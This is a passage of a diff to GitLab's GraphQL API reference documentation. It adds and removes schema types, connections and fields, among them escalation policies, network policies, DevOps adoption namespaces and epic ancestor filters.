id="mutationtoggleawardemojiawardemoji"></a>`awardEmoji` | [`AwardEmoji`](#awardemoji) | The award emoji after mutation. | -| <a id="mutationtoggleawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationtoggleawardemojierrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| <a id="mutationtoggleawardemojitoggledon"></a>`toggledOn` | [`Boolean!`](#boolean) | Indicates the status of the emoji. True if the toggle awarded the emoji, and false if the toggle removed the emoji. | ### `Mutation.updateAlertStatus` @@ -4251,6 +4269,29 @@ Some of the types in the schema exist solely to model connections. Each connecti has a distinct, named type, with a distinct named edge type. These are listed separately below. +#### `AgentConfigurationConnection` + +The connection type for [`AgentConfiguration`](#agentconfiguration). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="agentconfigurationconnectionedges"></a>`edges` | [`[AgentConfigurationEdge]`](#agentconfigurationedge) | A list of edges. | +| <a id="agentconfigurationconnectionnodes"></a>`nodes` | [`[AgentConfiguration]`](#agentconfiguration) | A list of nodes. | +| <a id="agentconfigurationconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `AgentConfigurationEdge` + +The edge type for [`AgentConfiguration`](#agentconfiguration). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="agentconfigurationedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="agentconfigurationedgenode"></a>`node` | [`AgentConfiguration`](#agentconfiguration) | The item at the end of the edge. | + #### `AlertManagementAlertConnection` The connection type for [`AlertManagementAlert`](#alertmanagementalert). @@ -5037,28 +5078,51 @@ The edge type for [`DesignVersion`](#designversion). | <a id="designversionedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | | <a id="designversionedgenode"></a>`node` | [`DesignVersion`](#designversion) | The item at the end of the edge. | -#### `DevopsAdoptionSegmentConnection` +#### `DevopsAdoptionEnabledNamespaceConnection` -The connection type for [`DevopsAdoptionSegment`](#devopsadoptionsegment). +The connection type for [`DevopsAdoptionEnabledNamespace`](#devopsadoptionenablednamespace). ##### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="devopsadoptionsegmentconnectionedges"></a>`edges` | [`[DevopsAdoptionSegmentEdge]`](#devopsadoptionsegmentedge) | A list of edges. | -| <a id="devopsadoptionsegmentconnectionnodes"></a>`nodes` | [`[DevopsAdoptionSegment]`](#devopsadoptionsegment) | A list of nodes. | -| <a id="devopsadoptionsegmentconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | +| <a id="devopsadoptionenablednamespaceconnectionedges"></a>`edges` | [`[DevopsAdoptionEnabledNamespaceEdge]`](#devopsadoptionenablednamespaceedge) | A list of edges. | +| <a id="devopsadoptionenablednamespaceconnectionnodes"></a>`nodes` | [`[DevopsAdoptionEnabledNamespace]`](#devopsadoptionenablednamespace) | A list of nodes. | +| <a id="devopsadoptionenablednamespaceconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | -#### `DevopsAdoptionSegmentEdge` +#### `DevopsAdoptionEnabledNamespaceEdge` -The edge type for [`DevopsAdoptionSegment`](#devopsadoptionsegment). +The edge type for [`DevopsAdoptionEnabledNamespace`](#devopsadoptionenablednamespace). ##### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="devopsadoptionsegmentedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | -| <a id="devopsadoptionsegmentedgenode"></a>`node` | [`DevopsAdoptionSegment`](#devopsadoptionsegment) | The item at the end of the edge. | +| <a id="devopsadoptionenablednamespaceedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="devopsadoptionenablednamespaceedgenode"></a>`node` | [`DevopsAdoptionEnabledNamespace`](#devopsadoptionenablednamespace) | The item at the end of the edge. | + +#### `DevopsAdoptionSnapshotConnection` + +The connection type for [`DevopsAdoptionSnapshot`](#devopsadoptionsnapshot). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="devopsadoptionsnapshotconnectionedges"></a>`edges` | [`[DevopsAdoptionSnapshotEdge]`](#devopsadoptionsnapshotedge) | A list of edges. | +| <a id="devopsadoptionsnapshotconnectionnodes"></a>`nodes` | [`[DevopsAdoptionSnapshot]`](#devopsadoptionsnapshot) | A list of nodes. | +| <a id="devopsadoptionsnapshotconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `DevopsAdoptionSnapshotEdge` + +The edge type for [`DevopsAdoptionSnapshot`](#devopsadoptionsnapshot). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="devopsadoptionsnapshotedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="devopsadoptionsnapshotedgenode"></a>`node` | [`DevopsAdoptionSnapshot`](#devopsadoptionsnapshot) | The item at the end of the edge. | #### `DiscussionConnection` @@ -5200,6 +5264,29 @@ The edge type for [`EpicList`](#epiclist). | <a id="epiclistedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | | <a id="epiclistedgenode"></a>`node` | [`EpicList`](#epiclist) | The item at the end of the edge. | +#### `EscalationPolicyTypeConnection` + +The connection type for [`EscalationPolicyType`](#escalationpolicytype). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="escalationpolicytypeconnectionedges"></a>`edges` | [`[EscalationPolicyTypeEdge]`](#escalationpolicytypeedge) | A list of edges. | +| <a id="escalationpolicytypeconnectionnodes"></a>`nodes` | [`[EscalationPolicyType]`](#escalationpolicytype) | A list of nodes. | +| <a id="escalationpolicytypeconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `EscalationPolicyTypeEdge` + +The edge type for [`EscalationPolicyType`](#escalationpolicytype). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="escalationpolicytypeedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="escalationpolicytypeedgenode"></a>`node` | [`EscalationPolicyType`](#escalationpolicytype) | The item at the end of the edge. | + #### `EventConnection` The connection type for [`Event`](#event). @@ -5711,6 +5798,29 @@ The edge type for [`Namespace`](#namespace). | <a id="namespaceedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | | <a id="namespaceedgenode"></a>`node` | [`Namespace`](#namespace) | The item at the end of the edge. | +#### `NetworkPolicyConnection` + +The connection type for [`NetworkPolicy`](#networkpolicy). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="networkpolicyconnectionedges"></a>`edges` | [`[NetworkPolicyEdge]`](#networkpolicyedge) | A list of edges. | +| <a id="networkpolicyconnectionnodes"></a>`nodes` | [`[NetworkPolicy]`](#networkpolicy) | A list of nodes. | +| <a id="networkpolicyconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `NetworkPolicyEdge` + +The edge type for [`NetworkPolicy`](#networkpolicy). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="networkpolicyedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="networkpolicyedgenode"></a>`node` | [`NetworkPolicy`](#networkpolicy) | The item at the end of the edge. | + #### `NoteConnection` The connection type for [`Note`](#note). @@ -6265,6 +6375,29 @@ The edge type for [`Scan`](#scan). | <a id="scanedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | | <a id="scanedgenode"></a>`node` | [`Scan`](#scan) | The item at the end of the edge. | +#### `ScanExecutionPolicyConnection` + +The connection type for [`ScanExecutionPolicy`](#scanexecutionpolicy). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="scanexecutionpolicyconnectionedges"></a>`edges` | [`[ScanExecutionPolicyEdge]`](#scanexecutionpolicyedge) | A list of edges. | +| <a id="scanexecutionpolicyconnectionnodes"></a>`nodes` | [`[ScanExecutionPolicy]`](#scanexecutionpolicy) | A list of nodes. | +| <a id="scanexecutionpolicyconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +#### `ScanExecutionPolicyEdge` + +The edge type for [`ScanExecutionPolicy`](#scanexecutionpolicy). + +##### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="scanexecutionpolicyedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | +| <a id="scanexecutionpolicyedgenode"></a>`node` | [`ScanExecutionPolicy`](#scanexecutionpolicy) | The item at the end of the edge. | + #### `ScannedResourceConnection` The connection type for [`ScannedResource`](#scannedresource). @@ -6682,29 +6815,6 @@ The edge type for [`UserCore`](#usercore). | <a id="usercoreedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | | <a id="usercoreedgenode"></a>`node` | [`UserCore`](#usercore) | The item at the end of the edge. | -#### `VulnerabilitiesCountByDayAndSeverityConnection` - -The connection type for [`VulnerabilitiesCountByDayAndSeverity`](#vulnerabilitiescountbydayandseverity). - -##### Fields - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="vulnerabilitiescountbydayandseverityconnectionedges"></a>`edges` | [`[VulnerabilitiesCountByDayAndSeverityEdge]`](#vulnerabilitiescountbydayandseverityedge) | A list of edges. | -| <a id="vulnerabilitiescountbydayandseverityconnectionnodes"></a>`nodes` | [`[VulnerabilitiesCountByDayAndSeverity]`](#vulnerabilitiescountbydayandseverity) | A list of nodes. | -| <a id="vulnerabilitiescountbydayandseverityconnectionpageinfo"></a>`pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | - -#### `VulnerabilitiesCountByDayAndSeverityEdge` - -The edge type for [`VulnerabilitiesCountByDayAndSeverity`](#vulnerabilitiescountbydayandseverity). - -##### Fields - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="vulnerabilitiescountbydayandseverityedgecursor"></a>`cursor` | [`String!`](#string) | A cursor for use in pagination. | -| <a id="vulnerabilitiescountbydayandseverityedgenode"></a>`node` | [`VulnerabilitiesCountByDayAndSeverity`](#vulnerabilitiescountbydayandseverity) | The item at the end of the edge. | - #### `VulnerabilitiesCountByDayConnection` The connection type for [`VulnerabilitiesCountByDay`](#vulnerabilitiescountbyday). @@ -6844,6 +6954,16 @@ Represents the access level of a relationship between a User and object that it | <a id="accesslevelintegervalue"></a>`integerValue` | [`Int`](#int) | Integer representation of access level. | | <a id="accesslevelstringvalue"></a>`stringValue` | [`AccessLevelEnum`](#accesslevelenum) | String representation of access level. | +### `AgentConfiguration` + +Configuration details for an Agent. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="agentconfigurationagentname"></a>`agentName` | [`String`](#string) | Name of the agent. | + ### `AlertManagementAlert` Describes an alert from the project's Alert Management. @@ -7181,6 +7301,38 @@ Represents an epic on an issue board. #### Fields with arguments +##### `BoardEpic.ancestors` + +Ancestors (parents) of the epic. + +Returns [`EpicConnection`](#epicconnection). + +This field returns a [connection](#connections). It accepts the +four standard [pagination arguments](#connection-pagination-arguments): +`before: String`, `after: String`, `first: Int`, `last: Int`. + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="boardepicancestorsauthorusername"></a>`authorUsername` | [`String`](#string) | Filter epics by author. | +| <a id="boardepicancestorsconfidential"></a>`confidential` | [`Boolean`](#boolean) | Filter epics by given confidentiality. | +| <a id="boardepicancestorsenddate"></a>`endDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.end. | +| <a id="boardepicancestorsiid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". | +| <a id="boardepicancestorsiidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. | +| <a id="boardepicancestorsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. | +| <a id="boardepicancestorsincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. | +| <a id="boardepicancestorsincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. | +| <a id="boardepicancestorslabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. | +| <a id="boardepicancestorsmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | +| <a id="boardepicancestorsmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | +| <a id="boardepicancestorsnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | +| <a id="boardepicancestorssearch"></a>`search` | [`String`](#string) | Search query for epic title or description. | +| <a id="boardepicancestorssort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | +| <a id="boardepicancestorsstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | +| <a id="boardepicancestorsstate"></a>`state` | [`EpicState`](#epicstate) | Filter epics by state. | +| <a id="boardepicancestorstimeframe"></a>`timeframe` | [`Timeframe`](#timeframe) | List items overlapping the given timeframe. | + ##### `BoardEpic.children` Children (sub-epics) of the epic. @@ -7201,10 +7353,12 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="boardepicchildreniid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". | | <a id="boardepicchildreniidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. | | <a id="boardepicchildreniids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. | +| <a id="boardepicchildrenincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. | | <a id="boardepicchildrenincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. | | <a id="boardepicchildrenlabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. | | <a id="boardepicchildrenmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | | <a id="boardepicchildrenmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | +| <a id="boardepicchildrennot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | | <a id="boardepicchildrensearch"></a>`search` | [`String`](#string) | Search query for epic title or description. | | <a id="boardepicchildrensort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | | <a id="boardepicchildrenstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | @@ -7468,6 +7622,8 @@ Represents the total number of issues and their weights for a particular day. | <a id="cirunneripaddress"></a>`ipAddress` | [`String!`](#string) | IP address of the runner. | | <a id="cirunnerlocked"></a>`locked` | [`Boolean`](#boolean) | Indicates the runner is locked. | | <a id="cirunnermaximumtimeout"></a>`maximumTimeout` | [`Int`](#int) | Maximum timeout (in seconds) for jobs processed by the runner. | +| <a id="cirunnerprivateprojectsminutescostfactor"></a>`privateProjectsMinutesCostFactor` | [`Float`](#float) | Private projects' "minutes cost factor" associated with the runner (GitLab.com only). | +| <a id="cirunnerpublicprojectsminutescostfactor"></a>`publicProjectsMinutesCostFactor` | [`Float`](#float) | Public projects' "minutes cost factor" associated with the runner (GitLab.com only). | | <a id="cirunnerrevision"></a>`revision` | [`String!`](#string) | Revision of the runner. | | <a id="cirunnerrununtagged"></a>`runUntagged` | [`Boolean!`](#boolean) | Indicates the runner is able to run untagged jobs. | | <a id="cirunnerrunnertype"></a>`runnerType` | [`CiRunnerType!`](#cirunnertype) | Type of the runner. | @@ -7754,6 +7910,7 @@ Represents the current license. | ---- | ---- | ----------- | | <a id="currentlicenseactivatedat"></a>`activatedAt` | [`Date`](#date) | Date when the license was activated. | | <a id="currentlicensebillableuserscount"></a>`billableUsersCount` | [`Int`](#int) | Number of billable users on the system. | +| <a id="currentlicenseblockchangesat"></a>`blockChangesAt` | [`Date`](#date) | Date, including grace period, when licensed features will be blocked. | | <a id="currentlicensecompany"></a>`company` | [`String`](#string) | Company of the licensee. | | <a id="currentlicenseemail"></a>`email` | [`String`](#string) | Email of the licensee. | | <a id="currentlicenseexpiresat"></a>`expiresAt` | [`Date`](#date) | Date when the license expires. | @@ -7816,7 +7973,6 @@ Represents a DAST scanner profile. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="dastscannerprofileeditpath"></a>`editPath` | [`String`](#string) | Relative web path to the edit page of a scanner profile. | -| <a id="dastscannerprofileglobalid"></a>`globalId` **{warning-solid}** | [`DastScannerProfileID!`](#dastscannerprofileid) | **Deprecated** in 13.6. Use `id`. | | <a id="dastscannerprofileid"></a>`id` | [`DastScannerProfileID!`](#dastscannerprofileid) | ID of the DAST scanner profile. | | <a id="dastscannerprofileprofilename"></a>`profileName` | [`String`](#string) | Name of the DAST scanner profile. | | <a id="dastscannerprofilereferencedinsecuritypolicies"></a>`referencedInSecurityPolicies` | [`[String!]`](#string) | List of security policy names that are referencing given project. | @@ -7834,15 +7990,15 @@ Represents a DAST Site Profile. | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="dastsiteprofileauth"></a>`auth` | [`DastSiteProfileAuth`](#dastsiteprofileauth) | Target authentication details. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. | +| <a id="dastsiteprofileauth"></a>`auth` | [`DastSiteProfileAuth`](#dastsiteprofileauth) | Target authentication details. | | <a id="dastsiteprofileeditpath"></a>`editPath` | [`String`](#string) | Relative web path to the edit page of a site profile. | -| <a id="dastsiteprofileexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. | +| <a id="dastsiteprofileexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. | | <a id="dastsiteprofileid"></a>`id` | [`DastSiteProfileID!`](#dastsiteprofileid) | ID of the site profile. | | <a id="dastsiteprofilenormalizedtargeturl"></a>`normalizedTargetUrl` | [`String`](#string) | Normalized URL of the target to be scanned. | | <a id="dastsiteprofileprofilename"></a>`profileName` | [`String`](#string) | The name of the site profile. | | <a id="dastsiteprofilereferencedinsecuritypolicies"></a>`referencedInSecurityPolicies` | [`[String!]`](#string) | List of security policy names that are referencing given project. | -| <a id="dastsiteprofilerequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. | -| <a id="dastsiteprofiletargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. Will always return `null` if `security_dast_site_profiles_api_option` feature flag is disabled. | +| <a id="dastsiteprofilerequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. | +| <a id="dastsiteprofiletargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. | | <a id="dastsiteprofiletargeturl"></a>`targetUrl` | [`String`](#string) | The URL of the target to be scanned. | | <a id="dastsiteprofileuserpermissions"></a>`userPermissions` | [`DastSiteProfilePermissions!`](#dastsiteprofilepermissions) | Permissions for the current user on the resource. | | <a id="dastsiteprofilevalidationstatus"></a>`validationStatus` | [`DastSiteProfileValidationStatusEnum`](#dastsiteprofilevalidationstatusenum) | The current validation status of the site profile. | @@ -8151,17 +8307,37 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="detailedstatustext"></a>`text` | [`String`](#string) | Text of the status. | | <a id="detailedstatustooltip"></a>`tooltip` | [`String`](#string) | Tooltip associated with the status. | -### `DevopsAdoptionSegment` +### `DevopsAdoptionEnabledNamespace` -Segment. +Enabled namespace for DevopsAdoption. #### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="devopsadoptionsegmentid"></a>`id` | [`ID!`](#id) | ID of the segment. | -| <a id="devopsadoptionsegmentlatestsnapshot"></a>`latestSnapshot` | [`DevopsAdoptionSnapshot`](#devopsadoptionsnapshot) | The latest adoption metrics for the segment. | -| <a id="devopsadoptionsegmentnamespace"></a>`namespace` | [`Namespace`](#namespace) | Segment namespace. | +| <a id="devopsadoptionenablednamespacedisplaynamespace"></a>`displayNamespace` | [`Namespace`](#namespace) | Namespace where data should be displayed. | +| <a id="devopsadoptionenablednamespaceid"></a>`id` | [`ID!`](#id) | ID of the enabled namespace. | +| <a id="devopsadoptionenablednamespacelatestsnapshot"></a>`latestSnapshot` | [`DevopsAdoptionSnapshot`](#devopsadoptionsnapshot) | Metrics snapshot for previous month for the enabled namespace. | +| <a id="devopsadoptionenablednamespacenamespace"></a>`namespace` | [`Namespace`](#namespace) | Namespace which should be calculated. | + +#### Fields with arguments + +##### `DevopsAdoptionEnabledNamespace.snapshots` + +Data snapshots of the namespace. + +Returns [`DevopsAdoptionSnapshotConnection`](#devopsadoptionsnapshotconnection). + +This field returns a [connection](#connections). It accepts the +four standard [pagination arguments](#connection-pagination-arguments): +`before: String`, `after: String`, `first: Int`, `last: Int`. + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="devopsadoptionenablednamespacesnapshotsendtimeafter"></a>`endTimeAfter` | [`Time`](#time) | Filter to snapshots with month end after the provided date. | +| <a id="devopsadoptionenablednamespacesnapshotsendtimebefore"></a>`endTimeBefore` | [`Time`](#time) | Filter to snapshots with month end before the provided date. | ### `DevopsAdoptionSnapshot` @@ -8336,6 +8512,38 @@ Represents an epic. #### Fields with arguments +##### `Epic.ancestors` + +Ancestors (parents) of the epic. + +Returns [`EpicConnection`](#epicconnection). + +This field returns a [connection](#connections). It accepts the +four standard [pagination arguments](#connection-pagination-arguments): +`before: String`, `after: String`, `first: Int`, `last: Int`. + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="epicancestorsauthorusername"></a>`authorUsername` | [`String`](#string) | Filter epics by author. | +| <a id="epicancestorsconfidential"></a>`confidential` | [`Boolean`](#boolean) | Filter epics by given confidentiality. | +| <a id="epicancestorsenddate"></a>`endDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.end. | +| <a id="epicancestorsiid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". | +| <a id="epicancestorsiidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. | +| <a id="epicancestorsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. | +| <a id="epicancestorsincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. | +| <a id="epicancestorsincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. | +| <a id="epicancestorslabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. | +| <a id="epicancestorsmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | +| <a id="epicancestorsmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | +| <a id="epicancestorsnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | +| <a id="epicancestorssearch"></a>`search` | [`String`](#string) | Search query for epic title or description. | +| <a id="epicancestorssort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | +| <a id="epicancestorsstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | +| <a id="epicancestorsstate"></a>`state` | [`EpicState`](#epicstate) | Filter epics by state. | +| <a id="epicancestorstimeframe"></a>`timeframe` | [`Timeframe`](#timeframe) | List items overlapping the given timeframe. | + ##### `Epic.children` Children (sub-epics) of the epic. @@ -8356,10 +8564,12 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="epicchildreniid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". | | <a id="epicchildreniidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. | | <a id="epicchildreniids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. | +| <a id="epicchildrenincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. | | <a id="epicchildrenincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. | | <a id="epicchildrenlabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. | | <a id="epicchildrenmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | | <a id="epicchildrenmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | +| <a id="epicchildrennot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | | <a id="epicchildrensearch"></a>`search` | [`String`](#string) | Search query for epic title or description. | | <a id="epicchildrensort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | | <a id="epicchildrenstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | @@ -8426,6 +8636,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="epicboardlistsepicfilters"></a>`epicFilters` | [`EpicFilters`](#epicfilters) | Filters applied when getting epic metadata in the epic board list. | | <a id="epicboardlistsid"></a>`id` | [`BoardsEpicListID`](#boardsepiclistid) | Find an epic board list by ID. | ### `EpicDescendantCount` @@ -8610,6 +8821,32 @@ Check permissions for the current user on an epic. | <a id="epicpermissionsreadepiciid"></a>`readEpicIid` | [`Boolean!`](#boolean) | Indicates the user can perform `read_epic_iid` on this resource. | | <a id="epicpermissionsupdateepic"></a>`updateEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `update_epic` on this resource. | +### `EscalationPolicyType` + +Represents an escalation policy. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="escalationpolicytypedescription"></a>`description` | [`String`](#string) | The description of the escalation policy. | +| <a id="escalationpolicytypeid"></a>`id` | [`IncidentManagementEscalationPolicyID`](#incidentmanagementescalationpolicyid) | ID of the escalation policy. | +| <a id="escalationpolicytypename"></a>`name` | [`String`](#string) | The name of the escalation policy. | +| <a id="escalationpolicytyperules"></a>`rules` | [`[EscalationRuleType!]`](#escalationruletype) | Steps of the escalation policy. | + +### `EscalationRuleType` + +Represents an escalation rule for an escalation policy. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="escalationruletypeelapsedtimeseconds"></a>`elapsedTimeSeconds` | [`Int`](#int) | The time in seconds before the rule is activated. | +| <a id="escalationruletypeid"></a>`id` | [`IncidentManagementEscalationRuleID`](#incidentmanagementescalationruleid) | ID of the escalation policy. | +| <a id="escalationruletypeoncallschedule"></a>`oncallSchedule` | [`IncidentManagementOncallSchedule`](#incidentmanagementoncallschedule) | The on-call schedule to notify. | +| <a id="escalationruletypestatus"></a>`status` | [`EscalationRuleStatus`](#escalationrulestatus) | The status required to prevent the rule from activating. | + ### `Event` Representing an event. @@ -8930,10 +9167,12 @@ Returns [`Epic`](#epic). | <a id="groupepiciid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". | | <a id="groupepiciidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. | | <a id="groupepiciids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. | +| <a id="groupepicincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. | | <a id="groupepicincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. | | <a id="groupepiclabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. | | <a id="groupepicmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | | <a id="groupepicmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | +| <a id="groupepicnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | | <a id="groupepicsearch"></a>`search` | [`String`](#string) | Search query for epic title or description. | | <a id="groupepicsort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | | <a id="groupepicstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | @@ -8972,10 +9211,12 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="groupepicsiid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". | | <a id="groupepicsiidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. | | <a id="groupepicsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. | +| <a id="groupepicsincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. | | <a id="groupepicsincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. | | <a id="groupepicslabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. | | <a id="groupepicsmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | | <a 